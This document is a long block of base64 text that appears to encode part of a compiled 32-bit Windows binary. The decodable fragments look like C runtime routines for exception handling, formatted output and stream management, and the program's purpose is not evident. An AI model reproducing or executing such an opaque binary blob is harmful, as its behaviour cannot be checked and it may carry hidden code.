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 dBRoDCsCEI2N+M///1HojcT//4PECGgIKwIQjZX4z///Uuh5xP//g8QIg30MAHRCjYX4z/// UItNEFGLVQxSaPwqAhBoABAAAI2F+N///1DoW4sAAIPEGIXAfRRoOCsCEI2N+N///1HoI8T/ /4PECOsWjZX4z///Uo2F+N///1DoC8T//4PECIM9BK0CEAB0O42N+O///1GNlfjf//9Si0UI UP8VBK0CEIPEDIXAdByDfQgCdQtoqIICEP8VjCACEIuF+O///+n/AAAAi00IixSNrIICEIPi AYXSdD6LRQiDPIW4ggIQ/3QxagCNjfDP//9RjZX43///UuiBxP//g8QEUI2F+N///1CLTQiL FI24ggIQUv8ViCACEItFCIsMhayCAhCD4QKFyXQNjZX43///Uv8VkCACEItFCIsMhayCAhCD 4QSFyXRug30QAHQdagqNldzP//9Si0UQUOguiQAAg8QMiYXUz///6wrHhdTP//8AAAAAjY0A 8P//UYtVFFKLhdTP//9Qi00MUYtVCFLoOgAAAIPEFImF+O///4N9CAJ1C2ioggIQ/xWMIAIQ i4X47///6xODfQgCdQtoqIICEP8VjCACEDPAX4vlXcNVi+y4OBEAAOiDyP//g30YAHUlaPQs AhBqAGjaAQAAaOgsAhBqAuhF/P//g8QUg/gBdQXoKPz//zPAhcB1z2gEAQAAjY34/v//UWoA /xWgIAIQhcB1FGjQLAIQjZX4/v//UuhZwv//g8QIjYX4/v//iUX8i038Ueg0w///g8QEg/hA dimLVfxS6CPD//+DxASLTfyNVAHAiVX8agNozCwCEItF/FDolo4AAIPEDItNFImN8O7//4O9 8O7//wB0SYuV8O7//1Lo5cL//4PEBIP4QHY1i4Xw7v//UOjRwv//g8QEi43w7v//jVQBwImV 8O7//2oDaMwsAhCLhfDu//9Q6DuOAACDxAyDfQgCdQzHhezu//9YLAIQ6wrHhezu//+oIQIQ i00YD74RhdJ0C4tFGImF6O7//+sKx4Xo7v//qCECEItNGA++EYXSdBKDfQgCdQzHheTu//9I LAIQ6wrHheTu//+oIQIQi0UYD74Ihcl0DMeF4O7//0QsAhDrCseF4O7//6ghAhCDfRAAdAuL VRCJldzu///rCseF3O7//6ghAhCDfRAAdAzHhdju//88LAIQ6wrHhdju//+oIQIQg30MAHQL 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 